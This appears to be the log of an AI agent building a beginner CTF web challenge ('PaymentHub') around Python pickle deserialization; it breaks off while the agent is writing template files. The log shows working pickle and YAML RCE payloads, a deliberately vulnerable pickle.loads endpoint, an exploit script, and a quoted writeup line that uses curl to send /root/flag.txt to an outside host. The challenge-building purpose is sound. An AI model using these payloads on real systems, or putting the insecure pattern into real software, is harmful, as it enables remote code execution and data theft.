🤖 # 阶段1:用户输入需求 [2026-01-07 16:52:20] [STAGE] [Augment] 🎯 [阶段 0] 阶段 0 根据用户输入,确认需求如下: ``` 语言:Python 难度:入门(最多1个漏洞) 漏洞:Python反序列化 场景:支付平台 ``` --- # 阶段2:漏洞主次分类 [2026-01-07 16:52:20] [STAGE] [Augment] 🎯 [阶段 1] 阶段 1 **入门难度只允许1个漏洞,跳过此阶段** - 主漏洞:Python反序列化(分配 5 篇 writeup) --- # 阶段3:知识库获取 [2026-01-07 16:52:20] [STAGE] [Augment] 🎯 [阶段 2] 阶段 2 ## 3.1 获取学习材料 使用 choice.py 从知识库获取 Python反序列化 相关的 writeup: [90m🔧 Tool call: launch-process[0m command: "python3 data/scripts/choice.py --difficulty=入门 --count=5 "Python反序列化"" cwd: "/Users/yu22x/Desktop/ge/ctf/ge10/web" wait: true max_wait_seconds: 60 [90m📋 Tool result: launch-process[0m ✅ Command completed successfully 📤 Output: 📊 指定数量: 5 篇writeup 📁 分类 [Python反序列化]: 找到 7/9 个有效writeup ✅ 分类 [Python反序列化]: 从 7 个有效writeup中选择了 5 篇 ============================================================ 📚 最终汇总选出的 5 篇文章: - Bottle Poem.md - File Store.md - Homedrive.md - Paddle.md - flask_caching.md 🤖 现在读取这5篇 writeup 文件来学习 Python反序列化 的技巧: [90m🔧 Tool call: view[0m path: "data/writeups/Bottle Poem.md" [90m📋 Tool result: view[0m Here's the result of running `cat -n` on data/writeups/Bottle Poem.md: 1 LFI: 2 http://bottle-poem.ctf.sekai.team/show?id=/app/app.py 3 /sign url uses some secret to create digital signature of a user session. 4 http://bottle-poem.ctf.sekai.team/show?id=/app/config/secret.py 5 reveals that secret. 6 So, now we can create our own customized sessions. 7 Viewing the src code of bottle: 8 ``` 9 def cookie_encode(data, key): 10 ''' Encode and sign a pickle-able object. Return a (byte) string ''' 11 msg = base64.b64encode(pickle.dumps(data, -1)) 12 sig = base64.b64encode(hmac.new(tob(key), msg, 13 digestmod=hashlib.md5).digest()) 14 return tob('!') + sig + tob('?') + msg ... (38 more lines) 🤖 继续读取其他 writeup 文件: [90m🔧 Tool call: view[0m path: "data/writeups/File Store.md" [90m📋 Tool result: view[0m Here's the result of running `cat -n` on data/writeups/File Store.md: 1 # KalmarCTF 2024 2 3 by *Hack Sleep Deploy Repeat* ([KalmarCTF](https://kalmarc.tf/teams/260), 4 [CTFtime](https://ctftime.org/team/284495)) 5 6 ## web 7 8 ### File Store (59 Solves) 9 10 #### Prompt 11 12 > Upload your files on the Kalmar File Store and share them with your friends. 13 > 14 > Note: For this challenge, you will not be sharing it by anybody else. Thus, ... (458 more lines) 🤖 继续读取其他 writeup 文件: [90m🔧 Tool call: view[0m [2026-01-07 16:52:39] [INFO] [Augment] [已处理 100 行] path: "data/writeups/Homedrive.md" [90m📋 Tool result: view[0m Here's the result of running `cat -n` on data/writeups/Homedrive.md: 1 Short writeup per now. will update later 2 3 create yaml file 4 `!python/object/apply:os.system ["curl 172.30.0.14:1337 -d @/root/flag.txt"]` 5 ``` 6 http POST http://172.30.0.8:5000/register Host:manager.home.drive 7 username=admin [email protected] password=admin 8 HTTP/1.0 200 OK 9 Content-Length: 37 10 Content-Type: application/json 11 Date: Sun, 15 Aug 2021 03:07:47 GMT 12 Server: Werkzeug/2.0.1 Python/3.9.6 13 14 { ... (27 more lines) 🤖 继续读取剩余的 writeup 文件: [90m🔧 Tool call: view[0m path: "data/writeups/Paddle.md" [90m📋 Tool result: view[0m Here's the result of running `cat -n` on data/writeups/Paddle.md: 1 # Paddle 2 3 **Tags**: Clone-and-Pwn, web 4 5 > Flexible to serve ML models, and more. 6 7 For this challenge, we are given a Dockerfile that installs the latest version 8 of [Paddle Servinge](https://github.com/PaddlePaddle/Serving) and runs the 9 built-in demo. 10 11 ```Dockerfile 12 FROM python:3.6-slim 13 RUN apt-get update && \ 14 apt-get install libgomp1 && \ ... (97 more lines) 🤖 继续读取最后一个 writeup 文件: [90m🔧 Tool call: view[0m path: "data/writeups/flask_caching.md" [90m📋 Tool result: view[0m Here's the result of running `cat -n` on data/writeups/flask_caching.md: 1 # flask_caching (Web, 300 points) 2 3 > cache all the things (this is python3) 4 > http://web.chal.csaw.io:5000 5 6 This challenge serves up a Flask web application where we are able to upload 7 a note with a title and file, which it puts into the Redis database. It also 8 uses `flask_caching` on many endpoints just because. The source code was 9 provided in `app.py` and the relevant parts are included below: 10 11 ```python 12 @app.route('/', methods=['GET', 'POST']) 13 def notes_post(): 14 if request.method == 'GET': ... (108 more lines) 🤖 # 阶段4:知识整理 [2026-01-07 16:53:26] [STAGE] [Augment] 🎯 [阶段 3] 阶段 3 ## 可借鉴技巧清单 | 技巧 | 来源 | 代码片段 | 适用场景 | |------|------|---------|---------| | pickle.dumps RCE | Bottle Poem.md | `class PickleRce: def __reduce__(self): return eval, ("os.system('cmd')",)` | Python Web反序列化 | | pickle.loads触发 | File Store.md | `pickle.load(f)` 从文件反序列化 | Flask Session反序列化 | | __reduce__方法 | Paddle.md | `def __reduce__(self): import os; return (os.system,(cmd,))` | Pickle RCE标准payload | | Flask Session操作 | File Store.md | 通过上传文件到`flask_session/`目录控制session | Flask应用 | | Redis缓存投毒 | flask_caching.md | `redis.setex(name=title, value=content)` + `pickle.loads(value[1:])` | Flask缓存反序列化 | | base64编码payload | Bottle Poem.md | `base64.b64encode(pickle.dumps(data, -1))` | 数据传输 | | YAML反序列化 | Homedrive.md | `!python/object/apply:os.system ["cmd"]` | YAML配置文件 | | 文件上传控制路径 | File Store.md | 通过session cookie控制上传路径 | 文件上传漏洞 | --- # 阶段5:题目设计 [2026-01-07 16:53:26] [STAGE] [Augment] 🎯 [阶段 4] 阶段 4 ## 5.1 设计目标 - **差异度**:入门 ≥20%(与现有题目不同的创新点) - **深度**:入门 1.5-4.0 - **趣味性**:入门 0-1 个啊哈时刻 ## 5.2 利用链设计 | 步骤 | 类型 | 技术点 | 深度 | 知识来源 | |------|------|--------|------|---------| | Step 1 | 信息收集 | 访问支付平台,发现订单查询功能 | 1/10 | 常规 | | Step 2 | 功能探索 | 发现可以导出订单数据(序列化存储) | 2/10 | 常规 | | Step 3 | 漏洞利用 | 构造恶意pickle payload上传 | 4/10 | File Store.md, flask_caching.md | | Step 4 | 获取FLAG | 触发反序列化,执行命令读取flag | 3/10 | Paddle.md | [2026-01-07 16:53:26] [INFO] [Augment] [已处理 200 行] **平均深度**: (1+2+4+3)/4 = 2.5/10 ✅ 符合入门要求(1.5-4.0) ## 5.3 核心代码预写 ### 漏洞触发代码(真实代码) ❌ 安全写法(不能触发): ```python import json data = json.loads(order_data) ``` ✅ 漏洞写法(能触发): ```python import pickle import base64 order_data = base64.b64decode(request.form.get('order_data')) order = pickle.loads(order_data) ``` ### exp 核心代码(真实代码) ```python import pickle import base64 import requests class RCE: def __reduce__(self): import os return (os.system, ('cat /flag.txt > /app/static/flag.txt',)) payload = base64.b64encode(pickle.dumps(RCE())) r = requests.post(f"{url}/import_order", data={"order_data": payload}) flag = requests.get(f"{url}/static/flag.txt").text print(flag) ``` ### 依赖清单 ``` Flask==2.0.1 ``` ## 5.3.1 代码可运行性自检 1. **导入完整吗?** ✅ pickle, base64, os, requests 都有导入 2. **路由正确吗?** ✅ `/import_order` 用于上传,`/static/flag.txt` 用于读取 3. **参数名一致吗?** ✅ `order_data` 参数名一致 4. **响应格式对吗?** ✅ 直接读取静态文件内容 ## 5.4 简易 exp 草稿(用于 Docker 测试) ```python # 简易 exp 草稿(仅用于测试,阶段 9 会完善) import requests import pickle import base64 url = "http://localhost:42555" # Step 1: 构造恶意 pickle payload class RCE: def __reduce__(self): import os return (os.system, ('cat /flag.txt > /app/static/flag.txt',)) # Step 2: 编码并上传 payload = base64.b64encode(pickle.dumps(RCE())) r = requests.post(f"{url}/import_order", data={"order_data": payload}) print("Upload response:", r.status_code) # Step 3: 读取 flag import time time.sleep(1) flag_response = requests.get(f"{url}/static/flag.txt") print("Flag:", flag_response.text) ``` ## 5.5 设计摘要 ``` ### 设计摘要 - 题目名称:PaymentHub - 利用链:访问首页 -> 发现导入订单功能 -> 构造pickle payload -> 触发反序列化 -> 读取flag - 黑名单:无 - 关键 payload:pickle.dumps(RCE()) 其中 __reduce__ 返回 os.system - 容器端口:42555 - 创新点:支付平台场景,订单数据导入功能作为反序列化入口 ``` --- # 阶段6:质量检查 [2026-01-07 16:53:26] [STAGE] [Augment] 🎯 [阶段 5] 阶段 5 ### 检查清单 - [x] **深度达标**:平均深度 2.5/10,最高深度 4/10,符合入门要求(1.5-4.0) - [x] **漏洞覆盖**:Python反序列化漏洞在利用链的 Step 3-4 中 - [x] **代码可行**:阶段 5.3 的核心代码使用标准 pickle RCE 方法,可正常运行 - [x] **payload 兼容**:无黑名单,payload 不会被阻断 [2026-01-07 16:53:26] [INFO] [Augment] [已处理 300 行] ✅ **质量检查通过,进入代码生成阶段** --- # 阶段7:代码生成 [2026-01-07 16:53:26] [STAGE] [Augment] 🎯 [阶段 6] 阶段 6 ## 7.1 生成后端代码 [90m🔧 Tool call: launch-process[0m command: "date +"%Y%m%d_%H%M%S"" cwd: "/Users/yu22x/Desktop/ge/ctf/ge10/web" wait: true max_wait_seconds: 10 [90m📋 Tool result: launch-process[0m ✅ Command completed successfully 📤 Output: 20260107_165326 🤖 好的,我将继续生成代码。现在创建输出目录并生成后端代码: [90m🔧 Tool call: launch-process[0m command: "mkdir -p output/20260107_165326_PaymentHub/docker/web/src output/20260107_165326_PaymentHub/docker/web/files output/20260107_165326_PaymentHub/docker/web/src/templates output/20260107_165326_PaymentHub/docker/web/src/static" cwd: "/Users/yu22x/Desktop/ge/ctf/ge10/web" max_wait_seconds: 10 wait: true [90m📋 Tool result: launch-process[0m ✅ Command completed successfully (No output) 🤖 现在生成后端主程序文件: [90m🔧 Tool call: save-file[0m file_content: "from flask import Flask, render_template, request, redirect, url_for, session import pickle import base64 import os import secrets app = Flask(__name__) app.secret_key = secrets.token_hex(16) orders_db = {} @app.route('/') def index(): return render_template('index.html') ... (63 more lines) [90m📋 Tool result: save-file[0m File saved. Saved file {/Users/yu22x/Desktop/ge/ctf/ge10/web/output/20260107_165326_PaymentHub/docker/web/src/app.py} 🤖 好的,我会分段输出内容。现在继续生成前端模板文件: [90m🔧 Tool call: save-file[0m file_content: "
Welcome to PaymentHub - Your Trusted Payment Platform
... (15 more lines) [90m📋 Tool result: save-file[0m File saved. Saved file {/Users/yu22x/Desktop/ge/ctf/ge10/web/output/20260107_165326_PaymentHub/docker/web/src/templates/index.html} 🤖 继续生成其他模板文件: [90m🔧 Tool call: save-file[0m file_content: "